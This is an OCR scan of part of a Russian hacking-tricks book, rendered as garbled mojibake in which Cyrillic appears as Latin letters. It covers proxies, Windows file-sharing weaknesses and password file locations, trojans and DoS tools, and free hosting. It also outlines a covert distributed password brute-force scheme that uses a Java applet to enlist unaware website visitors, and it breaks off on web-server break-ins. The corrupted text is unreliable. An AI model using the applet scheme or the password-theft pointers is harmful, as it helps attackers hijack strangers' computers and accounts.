Tecb AHOHUMAM3epoM U He TToKynaiiTe Huuero B «Mupe 3HaHUil».

CAyXx6a iproxy

Dra cayxba, pacronaraoiascs 1o aipecy wWww.iproxy.com, padoraer
nmogo6Ho AHoHMMai3epy. OT moyib30BaTeIsl TpeOyeTCsl 3arOJHUTh HEOOJIb-
IIYI0 aHKETY, YKa3aTh CBOI 2JIEKTPOHHBIN aipec, U Mocjie MOoJydyeHUs Moj-
TBEPXKIEHUSI MO 3JIEKTPOHHOM MOYTE U OTBETA Ha 3TO MOATBEPXKIEHUE MOXHO
OTMPABJATLCS B MyTh, NMpUueM 0e3 30-ceKyHIHBIX 3aepXeK, Kak B ciiydae ¢
AHoHMMai3epoM. OOMeH MOATBEPXKAECHUSIMU HECKOJbKO HAaCTOPaXMBaeT,
00Hapy>XuBasi TO, YTO BJIAIEbLIAM CIIY>XXObl HA CAMOM JIeJie Ha privacy Haruie-
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BaThb, HO, MMOCKOJIbKY MOJYYMTh aHOHUMHBIN aipec — He npobsema, a pabora-
€T iproxy ObicTpee AHOHUMAl3epa, MPeACTaBSIETCS] pa3yMHbBIM UCIOJb30BaTh
3Ty clyk0y. EAMHCTBEHHOE «HO» — CEpBep MHOINIA ObIBAET B «IayHe», IIPU-
YeM 3TO MOXKET MPOJ0JIKATHCS LIETYIO HENENIO.

Mpokcu-cepsepnl

AHOHMMU3UPOBATH MyTEIIECTBUE 110 CETU MOXHO TaKXe C IMOMOIIIbIO
npoxcu-ceppepa. Ilpokcu-cepBep paboTaeT, 1o CyT1, KaKk AHOHUMaii3ep, T.e.
JIOKYMEHT C caiiTa «3abupaeT» OH, a He Bbl. [IpaBia, ecTh HEKOTOpbIE HEMAJIO-
BaXXHbIE OTJINYUS, 8 UMEHHO:

* oT cookies Bac mpokcu He u3baBiisieT (M30aBbTE OT HUX CeOsT
camu, caenaiite aiin cookies.txt read-only, u Bce nenal);

* npoxcu cepBep padoraet kak ¢ HTTP, tak u ¢ FTP, uro maer
BO3MOKHOCTh aHOHMU3UPOBATh MOCEIEHNE HE TOJIBKO
Web-caiitoB, Ho u FTP-apxuBoB. Boo06iie roBops,
MIPOKCH-CEPBEPHI TOIEPKUBAIOT U IPYTHUE TPOTOKOJBI, HO
TSt aHOHUMHOTO TTYTEIIeCTBHS TI0 CETU OHM MaJlo 3HAUMMBI;

. IP-anmpec Bairero pogHoro NpoKcH-cepBepa, T.e. TOTo,
TTOJIb30BaHUE KOTOPBIM 00eCTieurBacT Balll ITPOBalIep, BCe
pPaBHO OTpakaeT MMsI Balllero JOMEHa WJIU, TI0 KpaliHel Mepe,
€ro MPUMEpPHOE reorpaduIeckoe MoJoXKeHHE.

IMocnepunii MyHKT MIPUBOAUT HAC K CJIEAYIOLIEMY BBIBOAY: €CIIA BaM
OYCHb BaXKHO OCTAThCSI aHOHUMHBIM IIPU paboTe ¢ KaKUM-HHUOYIb CANTOM VTN
IIPY YT€HUU W OTIPaBKe IMOYTHI C MCIIOJH30BaHUEM 0003peBaTeisl, UCIIOIb-
3yiiTe HE CBOI MPOKCU-CEPBEP, a UY>KOM.

BosbIIMHCTBO MPOKCU-CEPBEPOB OrPAaHUYMBAIOT AOCTYI Ha OCHOBa-
Huu IP-agpeca, ¢ koToporo npoucxoaut odpaiieHue. MHbIMU cl10BaMu, €Ciiu
BbI MOJIb3YyeTeCh MpoBaiinepom Demos, To nmpokcu-cepsep Glasnet Bac kK cebe
nomnpocty He mycTuT. Ho, K cuacTelo, B C€TH Bcerna MOXKHO HalTH «100pbIii»
MPOKCH, BIAJEIbLBI KOTOPOTO JIMOO OTKPHITO 3asIBJISIIOT O €r0 JOCTYIMHOCTU
IIJISI BCeX XKealoluX, JJM0O0 MPOKCHU, KOTOPBIN 10 TOM WM MHOU NMpUYMHE He
OrpaHUYMBAET JOCTYI TOJILKO CBOMM JOMEHAM, O YeM LIMPOKO MybJvke He
U3BECTHO.

Jlaneko He Bce MPOKCH-CEPBEPHI SIBISIOTCS IOJTHOCTHIO AHOHMMHBIMU.
HekoTopble M3 HUX MO3BOJISIIOT aAMUHUCTPATOPY CaiiTa, KOTOPBIA BbI TTOCE-
1aeTe ¢ UCIOJIb30BaHMEM MTPOKCH, TIPU KeJTaHUM onpeaeauTh [P-aapec, ¢ Ko-
TOPOTO MIPOUCXOANT obOpallleHre K TTPOKCH, T.e. Balll peaibHbIi [P-agpec.

Ecnu Bbl mosryunte coobiieHue Proxy server is detected! — Bai npokcu
HMMeET «IBIPY», U BaM OyIeT IpeaocTaBieHa MHOOPMAIIYSI O BallleM peaTbHOM
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IP-aapece, Kak, BripoyeM 1 00 IP-agpece mpokcu-cepBepa, KOTOPbIA BBl MC-
nosnb3yete. Ecim xxe cooOuieHue rinacut: Proxy server is not detected — Bce
B nopsiake!

B 3akimioueHe ellie HeCKOJIBKO COOOPakeHW KacaTeIbHO UCITOIb30-
BaHUSI MPOKCU-CEpBEpOB. PaboTa uepe3 Hajeko pacroyiOXEHHbI MPOKCU
CHIKAeT CKOPOCTD Tepelay TaHHBIX U BpeMs oxXunaHus. [Tpokcu, HacTpo-
ennbrit Ha HTTP-niporokon, He aHoHMMuU3upyeT paboty ¢ SSL-y3mamu, pa-
6otarommu 1o niporokosry HTTPS (a3to nist Bac, JitoOUTEN pacrijiaTUThCS
(YKTUBHOM KPeTUTHON KapTOUYKOIA).

'hnaBa 27.
Ataka

Bo-nepBbIX, MycTh Ha3BaHUE TJIaBbl BAC HE IMyraeT... Ui MyraeT, HO He
OUYeHb CUJILHO. Peub umeT Bcero JIMIb O TOM, YTO KOT/Ia KOMIbIOTEP MOIKIIIO-
YeH K CeTH, OH CTAaHOBUTCS ee YyacThblo. K coxaneHu1o, 60JbIIMHCTBO MOJIb30-
BaTeJieit 3a0bIBaeT 00 3TOM COBEPILIEHHO TPUMBMAJILHOI UCTUHE. MexX TeM 3a-
ObIBATb O HEM HE CTOUT, OO HECKOJIBKO MPAKTUUECKUX BHIBOJOB, KOTOPbIE U3
Hee CJIeAYIOT, TAKOBBbI:

. BbI nMeeTe 10CTYIT K MWITMOHAM KOMIThIOTEPOB Internet,
a MUJUIMOHBI KOMITbIOTEPOB Internet 3a4acTyio MMEIOT JOCTYIT
K BallleMy KOMITbIOTEDY.

* 3arpyxasi mporpaMMbl U3 CETH, BBl MOXKETE 3aIOJIy4YUTh Ha
CBOI IMCK TTPOTPaMMY-TPOSTHIIA WJIM BUPYC.

. JI106011 KOMIIBIOTEP B CETU MOABEPKEH PA3TMIHBIM
TEXHUYIECKUM aTakaM, KOTOPbIE MOTYT IIPUBECTH K €ro
3aBUCAHMIO, MIOTePE JAHHBIX ¥ IIPOYUM IPEIIECTSIM.

Hy, a Temmeps paccMoTpuM Bce 3TO TTOApoOHee, CITOKONHO U 6e3 McTe-
puk. PasroBop moiieTr o komIbloTepax, paboratoinux moa Windows 95/
98/NT. 3Hatoku (OMBITHBIE TTOJIH30BATEH, TYPY, XaKepbl) MOTYT yIAJIUThCS,
HauyMHaoIIMe (HEOTbITHBIE MTOJIB30BATE/ !, XKEHIIIUHBI, IETH, BOCHHBIE) MOTYT
OCTaThCS.

AOCTyn K KOMMblOTEPY

[TpuMepHO K 4eTBEPTH WM TPETU BCeX KOMITbIOTepoB mon Windows
B CETM MOXHO TIOJIYYUTb JOCTYII 3a IMapy MUHYT. DTOT MevaabHbIi (HakT 00b-
SICHSIETCSI TeM, UTO CaMU TOJIb30BaTeM (MJIM TJIYIble CUCTEMHBIC aIMUHU-
CcTpaTopbl) KOH(MUTYPUPYIO KOMITBIOTEP TAKUM 00pa3oM, YTO €To MarnKu WiIn
LIeJIbIe TUCKHM CTAHOBATCS JOCTYITHBIMU JUTSI YTEHUS W 3alUCH C YIaJeHHBIX
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KoMIibloTepoB. @opmaibHo 310 HadbiBaeTcs File and Print Sharing. Eciu BbI
menakHete mo nkoHke Network B Control Panel, To yBuaure oty KHOITKY. U ec-
1 ¢aaxok I want to be able to give others access to my files BkiitoueH, To cTo-
WT 3ayMaThCs.

[Touemy nosib3oBaTen NAIOT AOCTYN K CBOMM (haillaM — HaBepHOE,
noHsiTHO. CaMasi pacpoCTpaHeHHAasl CUTyallusl — B JOME JBa KOMITbIOTepa,
COEIMHEHHBIX B MaJICHbKYIO ceTh. CKpbIBAaTh APYT OT Ipyra HEYero, mo3TomMy
JIaeTCst CBOOOAHBIN TOCTYN cpa3y Ko Bcemy. Vu yesioBeKy Hy>KHO nepenucaTb
JIaHHbIE C IEeCKTOMNa Ha HOYTOYK. Vi B HeOOIbII0H (hrupMe CTOUT JIoKaJIbHasI
ceTb. Minu BbI MpocTo T100MTE Ha pa3Hble HE3HAKOMbIE KHOTIKA HaXKUMATh...
Hy, a rae noctyn ¢ cocenHero KoMnbloTepa, TaMm U 10cTyn u3 Internet.

OcTaHOBUMCS Ha TOM, K Y€MYy MOTYT MPUBECTU IyTEIIECTBUSI APYTHUX
JIIOJIeiA 110 BalllUM TMCKaM M KaK 3TOro n3oexaTthb. Bo-mepBbIX, y BaC MOTYT yK-
pacTh MPUBATHYIO0 MH(MOPMAILINIO, YTO KpaitHe HenmpusiTHO. Daiiyibl MOTYT TakK-
K€ BOOOIIIEe CTePETh, UTO, MOXKAIYM, ellle HeTIPUSITHEE.

Ho, KaK mipaBwIo, KpamyT Ipyroe, 0COOCHHO €CITN KPaIyT PyCCKUe: Ima-
posid. OcoBEeHHOCTU HAIlMOHAIBHOTO MeHTanuTeTa («Xajisipal») MPUBOAST K
TOMY, YTO Macca MaJIOJIETHUX 0e3MeTbHUKOB TOJIBKO M 3aHMMAETCS TEM, 9TO
KpaJIeT ITapoJjIv JOCTyIa K Internet ¢ Iy>kKuX KOMITBIOTEPOB, 6J1ar0 YCTPOUCTBO
Windows 95/98 1 GoJIbILIMHCTBA MPOrpaMM K 3TOMY pacliojaraer.

[Tapoau xpaHSTCS IPOCTO MO BCEMY AUCKY, OOBIYHO B ci1abo3ammgpo-
BaHHoM Buue. Dial-Up-maponu — B ¢aiinax .PWL, moutoBbie mapoin K
Outlook — B peectpe, Kk Eudora — B eudora.ini, Kk FTP-caiitam (Bkitouato Ba-
IIIy TIEPCOHAJIBHYIO CTPAaHNYKY) — B pa3HbIX (aitnax FTP-ximenToB, mapomm
Windows NT — B daiimax SAM, u 1.1., u T.11. [TogBMIOCHK MHOXECTBO IIPO-
rpaMM, KOTOpbIe CIIOCOOHBI 3TH MapOJIM U3BJIEKaTh, M 1eJIble KOJUIEKIIUM Ta-
KUX TTporpamM, Hanpumep Ha caiite Russian Password Crackers ecTb HeCKOJb-
KO TiporpaMm st pabotsl ¢ .PWL-daiinamu. Tak 94To mycTh 3B€310YKU B OKHE
BBOJA TapoJjisl Bac He OOHANIEXKMWBAIOT, a BOT CBOOOMHBIN MOCTYIT K (haifaam
CBOETO KOMITBIOTEPA JIyUIlle OTPAHUYNTb.

Kak ato caenats? Windows 95/98 u Windows N'T no-pazHomy obecrie-
YUBAIOT yAaJIEHHBII AOCTYyN. B mepBoM ciydae, Kak MpaBWIO, UCIIOIb3YeTCSI
share-access control (1ocTyn Ha OCHOBaHMM TOJIBKO IapoJisl), BO BTOPOM —
user-access control (Ha OCHOBaHMU ITapbl UMSI-TIAPOJIb).

Hnsa nonb3oBateneit Windows 95/98 camoe npocroe peilieHue — OT-
kitounTh File and Print Sharing, eciiv oH BaM yXe He HyXeH. MOXHO Takxke
yopats nipuBsasky File and Print Sharing x nporoxkony TCP/IP (Control
Panel = Network = TCP/IP = Properties = Bindings), uto addekTnBHO 3a-
GJIoKMpYeT JOCTYN K 00111MM pecypcam u3 Internet. Eciiu ke moctyn Hy>XeH, TO
CTaBbTE MApOoJIM Ha OOILME MANKU U AUCKU, IPUUEM, KeTaTeJIbHO, CIOXKHbIE
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maposu. MMeliTe Takke B BUIY, YTO CYIIECTBYET BO3MOXKHOCTh «B300paThCsT
BBEPX 110 IepeBY», TO eCTh ecr Ha aucke C: ectb nmanka SomeStuff ¢ oTKpbI-
TBIM JIOCTYIIOM, TO 10 KopHs C: Toxe Moryt mobpathcs. Hy, a BooGrie
Windows 95/98 — onepaliroHHasi cuctema cjiabo 3allyileHHas!, 1 HUKaKoi
rapaHTUM 0€30MaCHOCTHU 1aTh, YBbI, HE MOXET.

B kayecTBe pasBiieKaTeNbHON IpPOrpaMMbl MOXHO YCTaHOBUTH
NetWatcherPro (245K, freeware), KoTtopasi BKJIOYaeT CUPEHY KaXIblid pas,
KOTJIa KTO-TO JIOMUTCS B KoMITbioTep. [1pn aTom mmokasbiBaetcs [P-anpec ara-
KYIOIIETO U Te (Pailyibl M Markul, KOTOpble BU3UTEP IIpocMaTpuBaeT. OueHb Mo-
3HaBaTeJbHO! Ecim moCTyIm XOTsT ObI K OIHOM TaIlKe OTKPHIT, CUPeHY OymeTre
CJIBIIIATH, KAK MUHUMYM, pa3 B Yac.

A KOHU BCe CKOYYT U CKAYYT...

Kaxkwne xonu? TpostHckue! TpostHIIaMy Ha3bIBAIOT IIPOrpaMMBbl, KOTO-
pble, Ha TIEPBBIA B3MJISI, BHIMOJHSIOT HEKHE TOJIe3HbIe (DYHKIIMU, HO Ha ca-
MOM JieJie 100 pa3pylialoT CUCTEMY, TMOO OTAAIOT KOHTPOJIb B PyKH IPYrOro
yesoBeka. [1opoj TposiHIIEB MHOXECTBO: HEKOTOPBIE U3 HUX BOOOIIE HE BbI-
TOJTHSIIOT TI0JIE3HBIX (PYHKIIUI, @ TIPOCTO CKPBITHO «KUBYT» Ha JMCKE U JieJia-
0T pa3HbIe TaJl0CTU, a HEKOTOPbIE, HA00OPOT, COBEPIIIECHHO HE CKPBHIBAIOTCS
OT MOJIb30BaTEJIS, TIPU 3TOM IPOU3BOISI HEKOTOPbIE MAHUTYJISILIUUA, O KOTO-
PBIX HUKTO He Tof03peBaeT (MU He J0JIKEeH 1Moao3peBarthb). [Ipumep nepsoit
mopoasl — BceM u3BecTHBIM Back Orifice, maroruii Bpary MmoYTH TOJHBII
KOHTPOJIb HaJl BalllUM KOMITBIOTEPOM U /IS Bac HeBUAMMBIN. [Ipumep BTopoit
nopoasl — MS Internet Explorer, KOTOpbIli MpU COENMHEHUU C CANTOM
MicroSoft pazBuBaeT coOBepIIIEHHO OEIIEHYI0 aKTUBHOCTb 0 TTePEChUIKE TaH-
HBIX C KOMITbIOTEPA Ha cepBep, 00beM KOTOPBIX SBHO MTPEBOCXOAMUT TPOCTOi
3arpoc HTML nokymeHTa.

ITonacTk TpostHELl Ha KOMITBIOTEP MOXET IByMsI OCHOBHBIMU CITOCO0a-
MU: TNOO BaM €ro «I10JIOXKaT» Ha IMCK, JIM0O0 BBl €Tr0 caMU cede cKavaeTe.

MHOXeCTBO JIIoJieit MoyyaloT MoA0OHbIe MPOrpaMMbl cebe Ha ITUCK
Kaxnplii feHb. He cTOUT ckaumBaTh MporpaMMbl ¢ HEM3BECTHBIX CANTOB, MO -
aBUIMCh Ha obOeuiaHusi aBTopoB nath BaM «cYNEp KpYTVYio Moulnky
npoTuB /\ammep0B» UM KJIACCHBIN BbIOED JIs1 OecriaTHoi mopHyxu. He Ha-
0 TaKXe OTKpbIBaTh attachments, mpuiieninye ¢ MovyToir OT HE3HAKOMbBIX
Joaei.

B Baue orcyTcTBHE Kakas-HUOYAb 00Opas Ayla MOXeET IIPOCTO nepe-
MCaTh TPOSTHIIA HAa KOMITBIOTEP C AUCKETHI (HE OCTaBJISIATE KOMITBIOTEPHI €3
npucMoTpa!). KpoMe Toro, TpostHIIa MOTYT ITOJIOKUTH M3 CETH MPSIMO Ha IUCK,
1OKa Bbl, HUYEro He nomo3peBasi, Muiio 6ecenyete B IRC wiu rynsiete o caii-
Ty Netscape.



XakepcKkue TpoKu 267

HekoTophix, 0COOEHHO pacpoOCTpPaHEHHBIX TPOSIHIIEB CIIOCOOHBI 00-
HapyXMBaThb aHTUBUPYCHBbIE mporpamMMmbl, Hanpumep, AntiViral Toolkit Pro.
Hwmeiite B BUIy, UTO BCeX TPOSIHLIEB HY OJTHA ITpOrpaMma 0OHapyKUTb HE MO-
KET, U MOXHO CIIOKOMHO paccMesITbCS B JIMLIO TOMY TPOU3BOIUTENIO codTa,
KOTODBII MbITaeTCsl YOeIUTh Bac B 0OPaTHOM.

TexHnyeckue artakm

Ha camowm nene, TepMuH «TexHuyeckue aTaku» He o4eHb ToueH. Bce
aTakM, 1o CyTH, TeXHUUYecKue. 31eCh UMEIOTCS B BULY aTaKy U3 CETH, HalpaB-
JIEHHbIE Ha TEXHUYECKWIi BHIBOJ U3 CTPOsI KOMITbIOTEPA, KaK MPaBUJIO, Ha KO-
pPOTKOE BpeMsi, Hy>KHOe ISl mepe3arpy3ku. [1o-aHmIMiicKu Takue aTaku Ha-
3piBatoTcs Denial of service (DOS) attacks. K privacy 3To npsiMoro oTHoIeHUst
He MMEET, HO pa3 YX 3allle]l pa3roBop 00 aTakax, TO YIIOMSHEM U O HUX.

CuUMNOTOMBI «00JIE3HU» TAKOBBI: HEOXUIAHHO KOMITBIOTED, MOIKIIIO-
YEHHBIN K CETH, 3aBUCAET, JINOO MOSBIISIETCS TOJy0Oi «3KpaH CMEPTHU» — CO-
obmeHre 06 ommbke. Jleuenne mpoctoe — Alt-Ctrl-Del.

MHcTpymMeHTapuii 111 TAKMX aTak BOAUTCS B CETU B OOJIBIIIOM KOJTUYe-
CTBE, HE MEHbIIIE U HEJOYMKOB, KOTOpPbIE MOJIYYaloT HaclaxIeHue OT TOro,
YTO 3aBaJIMBAIOT 4eii-TO KoMmbioTep. CaMblii M3BECTHBINA HpPEeACTAaBUTEIb
cnaBHoro cemeiictBa — Winnuke, yJ10XXUBIINIT B CBO€ BpEMsI MUUIMOHBI KOM-
MbIoTepOB 1oj yrpabieHrueM Windows. MeHee uzBectHbl bonk, smurf, ping of
death... HeT um yucna. [louytn OT Becex MOOOOHBIX aTaK MOXKHO 3aIllUTUTHCS,
peryJsIpHO CKayMBasl aT4yu ¢ caiita MicroSoft.

fAnaBa 28.
B nouckax xaAnasHoro Web-xoctuHra

WNrtak, BBl pa3paboTanu AW3allH CBOEro caiTa WM HACBITUJIUA €ro
conepxaHueM. Crenyoluii BOlmpoc — rae Bce 3T0 pasmelnats? Ha mepsblit
B3MJIsL, OTBET OYEBUAEH: MOAABIsIONIee OOJBIIMHCTBO MPOBaliiepoOB MpPeao-
CTaBJISIET CBOMM KJIMEHTaM HEKUil OecrulaTHbIN (BepHee, YK€ OIJIaueHHbII
A0OHEHTCKUM WJIM MOBPEMEHHBIM Tapudom) oO6beM AMCKOBOrO MPOCTPaH-
ctBa. O6BIYHO OH KoJiebercst oT 256 Kb mo 1 Mb. [lnst Havyasna 3aech 1 pa3Me-
ctuMmcs. Benb MerabaiiT — 3T0 MHOT0, 0COOEHHO eciiv rpadrka ONTUMU3UPO-
BaHa, TEKCThl BBIBEPEHBI U OTPEAAKTUPOBAHBI.

OnHaKo armeTUuT MPUXOIUT BO BpeMs enbl. [ToABISIIOTCS Bce HOBBIC
1 HOBBIE MHTEPECHBIEC CCHUIKHU, pacTeT 00beM TpadUuKU. A 3aTeM X04eTcs Io-
npoboBath u RealVideo, u mate 3BykoBoe compoBoxaeHue. 1 B omuH He
OUYCHb MPEKPACHBIN JeHb BBI TIOJy9aeTe YBEAOMJICHUE, YTO OSCIUTATHBIN JIN-
MUT UCYEpIIaH, U TIpejiaracTcs TM00 COKPaTUTh 00beM, JIMOO TJIATUTh 3a TTe-
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pepacxoa. B mpoTuBHOM ciiyyae poOOT yrpoxaeTt IpoOu3BOJIbHO CTEPETh BCE,
YTO BBIXOJMT, CKaxeM, 3a 1 Mb.

Yro nenars? CokpaliaTh — XKajlKo, TJIaTUTh — HAKJIagHO (OOBIYHO 3TO
CYIIECTBEHHO OOJIbIIIe, YeM BHI TUTATUTE 3a TOCTYM). TyT-TO M IPUXOIUT Bpe-
MsI 0OpaTUTBCS K cepBepaM, oOeCIieunBaIONIMM TaK Ha3bIBaeMbIii Gecriiar-
HBII XOCTUHT Web-CTpaHMII.

Ha nepBoe Mecto npeteHayet Virtual Avenue. JlocTtorHcTBa — 00JIb-
1O (XOTSI 1 HE MAaKCUMAaJIbHBIM, HO Y MHOTHX JIM CaiThl IIpeBhiiIaoT 20 MbB)
00BbeM, Kak Obl HACTOSIILIMIA TOMEH TPEThEro YPOBHSI, ObICTpast U (IIOYTH) yC-
ToiuuBas pabora. PekiiamMa — He 0ueHb HaBsSI3UMBa, XOTSI MOXXKHO OBI M ITOIPO-
me. Ho OecriaTHO Bcerma IMpUXOAUTCS BBHIOMpPATh MEXIY IIOXUM M OYEHb
mioxuM. Bripouem, 3a IeHbI'M HEPENKO TOXE.

Bropoe mecto 3a XOOM. OaunHaauaty Mb B 60/bIIMHCTBE CllyyaeB
XBaTaeT ISl CpefiHero caiita. Pekiiama — mpesnenbHO HeHaBsi3umBasi. [1po-
rpamMM JUIST aBTOMaTHIECKOM 3aMEHBI M BCTABKA MOXHO HaliTh B CeTH CKOJTb-
Ko yronHo (Hampumep, http://freeware.ru unu http://listsoft.ru). He Bcerna
crabunbHo? — Tak Benb Xajisia, cap. DTUM Ipeliat ¥ KOMMepueckue npoBaii-
JIephI.

Tpetbe MecTo oaenuu Mmexay coooii Webjump u SpacePort. B nosib-
3y nepBoro — 25 Mb u nomeH tpeTbero ypoBHs. [IpoTUB — He OYeHb M3SIII-
HOE pellleHHe PeKJIaMHOM Ipo0JeMBl M HE OYeHb cTabwibHas padora. 3a
BTOPOIT — HEOTPaHUYEHHBIH (€CJIM, KOHEYHO, eTO IEWCTBUTEIHHO MOXHO T10-
JIy4UTh) 00bEM 1 ObICTpasi U cTabuiabHas padota. [IpotB — pop-up u He Ty4-
mast cucteMa aapecannu. Ho B 11eJIoM 1 TOT, ¥ IpyTroit — BITOJIHE TIPUEMIIEMOE
pelieHue.

IIpoune nmeronecs — pekoMeHnoBarh TpyaHo. Cyber Sities Hakia-
NIbIBAeT CAMIIKOM OoJibllive orpaHuueHus1 Ha coaepxkaHue. NeoCerf mpekpa-
TWJI OKa3bIBaTh OecriaTHbIe yeiayru. Y RoyaltyStudios yxx oueHb ciioxHas pe-
TUCTpaLusl.

fAaBa 29.
HekoTopble acnekTbl ATaKu NoO CAOBAPIO

Bcem m3BecTHa cTapas araka I10 CJIOBaplo. A Takxke ee JOTOJIHEHUE
(I/IMCGTCH B BUAY aTaKa C HCCKOJIbKHUX MaH_II/IH). B o6miem CJIydac 9TO BbITJIAOUT
TaK:

* Knuent (Crk-client) oopaiaercs k cepsepy (Crk-server)
3a OYepeaHOM MOPLMEH ITaposeid.
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. Crk-server moMeyaeT 3Ty IMTOPLIMIO KaK HAXOASIIYIOCS B paboTe.

* Crk-client mpoOyeT Bce maposu u3 3toii nopunu. Ecim ogus
M3 HUX MOJOIIIEN, OTIpaBisiercs coobienue Ha Crk-server
1 Ha 3TOM 3akaHuMBaeM repedop. Eciau Het, To Crk-client
otceinaeT Ha Crk-server coobIeHe 00 OKOHYaHUM epebopa
1 6epeT HOBYIO Mopuuio. Eciin coemHeHne pa3phIBaeTCs 10
ommbke wiu Crk-client 3aB1c, TO OH, €CTECTBEHHO, HUYETO HE
OTTpAaBJIsIET.

* Crk-server nosiyyaet coo6lieHre 06 OKOHUYaHUHU repebopa,
TOrAa 3Ta NOpLMS yaajsIeTcs Kak yxe odopadbotaHHast. Mau mo
time-out Crk-server romMeuaer 3Ty HOPLIMIO KaK
HeoOpaboTaHHYIO.

Paccmotpum, Hanpumep, chat.ru (cepBep). OH TpenoCTaBIIsIET CIELy-
IoLMe BUBI CEpBHCA:

. PasmeleHue cTpaHMil.
* IMoury (kak POP3, Tak u SMTP).

PaccMoTpuM, Kak MOXKHO OpraHM30BaTh Mepebop Maposisi Ha JIoboii
CEepBUC JIAHHOTO CEpBepa.

Crk-client Mo>XxHO HamucaTb B BUE allljieTa Ha SIBe U TOJOXUTD all-
ILUIET Ha cepBep. DTO AeIaeTCs WISl TOTO, YTOOBI IIepedopoM maposieit 3aHruMa-
ymch nocetutenu Web-crpaHuisl (maxe He momo3peBas o0 3Tom). B morax
cepBepa nepedop OyaeT pa3HeceH BO BPEMEHM U IMTPOCTPAHCTBE, T.€. MOMBITKU
OyIyT TIPOMCXOAUTH Yepe3 HepaBHbIE MPOMEXYTKM BPEMEHM U U3 Pa3HBIX
MecT. M K ToMy ke HEBO3MOXKHO OYIIET OTpeAe/IUTh, KTO K€ B IeHCTBUTEILHO-
CTH OAOMpaeT MapoJb.

DTOT amIIeT MOXeT KOHHEKTUTHCS TOJIBKO ¢ TEM CEPBEPOM, OTKYIa OH
6bL1 3arpyxeH (chat.ru). Ham 310 1 Hy:XHO.

[IpoGnema B cienmyroomeM: Kak pa3mectuTb Ha cepBepe Crk-server?
OueBuaHO, 4TO 3TO He mojyumTcs. [lokaxkem, Kak MOXHO OOOMTHUCH 0e3
Crk-server'a...

Peructpupyem nBa akkayHrta (WordList 1 TMP) Ha cepBepe, pa3meliia-
eM HTML-crpanuuky c anrmierom Crk-client, a ciioBapb Kj1ageM B ITOYTOBbIi
smuk (WordList) Ha cepBepe. C1oBapbh HEOOXOAMMO pa3doUTh HA MOPILIMM, HA-
npumep no 20 naposneit. I[1pu 3ToM Kaxaass HOpLMS JE€KUT OTASIbHBIM ITMCh-
MoM. Crk-client npu 3anycke o6paiiaercst Ha WordList o npotokony POP3 u
Gepet nepBoe ke nmucbMo (yaaisst ero ¢ WordList, Ho orcbuiast ero mo SMTP
Ha TMP). [lanee Crk-client HaunHaeT nepe6op. Eciu naposib ycnenHo Haii-
neH, ornpabiseM ero no SMTP ceGe. Eciu nepebop 3aBepiliics BIIYCTYIO,
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ynansiem u3 TMP sty nopuuto. Korga ogHoBpeMeHHO paboTaloT HECKOJIBKO
KJIMEHTOB, MOXET BOZHUKHYTh ITpobsieMa. Ho «cBo10» MOpLMI0 MOXKHO HAMTH,
HCTOJIb3YSI KOMaH/Y:

POP3 TOP msg n

Ecnu Crk-client He nopaboTai 13-3a OIIMOKH, TO 3Ta MOPLIUS HE TTOTe-
psietcst v ee MoxHO nepemectuTh 13 TMP B WordList. [lenats 310 npuaercst
WIM BPYYHYIO (YTO HeEXeJaTelbHO), WM BO3JOXUTH 3Ty (YHKIMIO Ha
Crk-client. Tyt Bo3HuKaeT eiie oaHa npobiema, Kak oinuuth B TMP mop-
1IU1, KOTOPbIe 00pabaThIBaOTCS ceiuac, OT TeX, KOTOPbIe HAlI0 MepPeMeCTUTh
B WordList. /1151 5TOro Hy>kHO aHaJIM3UPOBATh AATy OTIIPABKY MOPIIMU U TEKY-
mee BpeMs. Ecau pasHuua mopsiaka yaca, TO 3Ty MOPLMIO MepeMeliaeMm
B WordList.

CKopocTb Iepedopa 3aBUCHUT OT KaUeCTBa CBSI3U C CEPBEPOM U OT KOJIM-
yecTBa nocetuteneit Web-cTpaHUUKU.

Tenepb HEMHOro O MPUMEHEHWUM BblllleonucaHHoro. Ha mepBblii
B3IJISII, MOXKET MOKA3aThCsl, YTO 3TO pabOTAET TOJbKO JJISI XaJISIBHBIX CepBe-
POB, HO 3TO He TaK. OTO paboTaeT U ISl CEpBEPOB MPOBAiiIEPOB, €CIU TONBKO
HTTP, POP3 u SMTP o6ciyxuBatoTcsi OHOI MallluHOI.

C HEKOTOPHIMU M3MEHEHMSIMU 3TOT aJITOPUTM MOXKHO MCITOJIb30BaTh
IIJISI CEPBEPOB, KOTOPEIe IpenoctaBistiioT Toubko HTTP. IlpaBma, mist atoro
cepsep nomkeH noanepxuBath Metonsl DELETE u PUT, ny, u GET, ecre-
CTBEHHO.

hnasa 30.
Banom WWW-cepeepoB

B3yioM ocyiiecTBisieTcst Yepe3 cTaHaAapTHbIE TPUMEPHI, UIYLIKE B TIO-
cTaBke ¢ web-cepBepoM, a TaK Kak JIIOJU ellle He CUIbHO 33 JyMbIBalOTCS O 3a-
IIMTE CBOETO caiiTa, CYMTAsl 9TO He OYeHb OO0JIbIIION MPOOIEMOIt, U 4acTo Oc-
TaBISIIOT Bce Ha ABOCb, TO mpocTo cTaBsit WebSite, Huyero He
MpearnpuHUMas I ero HaCTPOMKM M obecriedyeHUsl JOCTATOYHOM 3alllUThI.
Bce umeromumecs B cetu caiitel nop yrpapieHuem WebSite vl.1 nmetor na-
3eiiKy, o0ecreunBalollyo MOYTH TMOJHBII AOCTYN K MalldHe, Ha KOTOpOi
OHU HAXOJSITCA.

Kak y Hac craBat WebSite? [Ipocto nasst kHonky Install, u morom
Ipora TOBOPUT, YTO Web-cepBep IMocTaBieH. JIIoau HaXomAdT, Tae HaXOAUTCs
KOpeHb Web-caiiTa, 3aKaurBaloT TyJla CBOI0 MH(POPMAIIHMIO, U BCE TaK U XKUBET,
[TOKA HE HACTYIAeT BpeMsT «aeabra Tax».



XakepcKkue TpoKu 271

YTo Ke MOsBIISIETCS B TAKOM cocTosTHIM? [1o yMordaHuio oTrobpakaer-
cs1 (MamuTcs, mapping) Kydya HEHYXHBIX IUISI pabOTBI cepBepa KaTajoroB
/java/, /publish/, /wsdocs/, /cgi-dos/, /cgi-win/. KoHeuHO, B KaKoii-To MO-
MEHT BPEMEHU OHM, BO3MOXHO, U MOHAL00ATCS, HO BHaYajle OHU IIPOCTO HE
HY>XHBI. DTO C OIHON CTOPOHBI, C APYroit CTOpoHbl co3natensiMm WebSite co
BCEX CTOPOH HYXHO ITOKa3aTh BO3MOXHOCTH 3TOTO CepBepa, YTO OHU C yCITe-
XOM M JIeJIAI0T, OTKPBIBast MOTCHIIMAIbHBIC ABIPKY B 3allIUTe Web-caiita 1 3a-
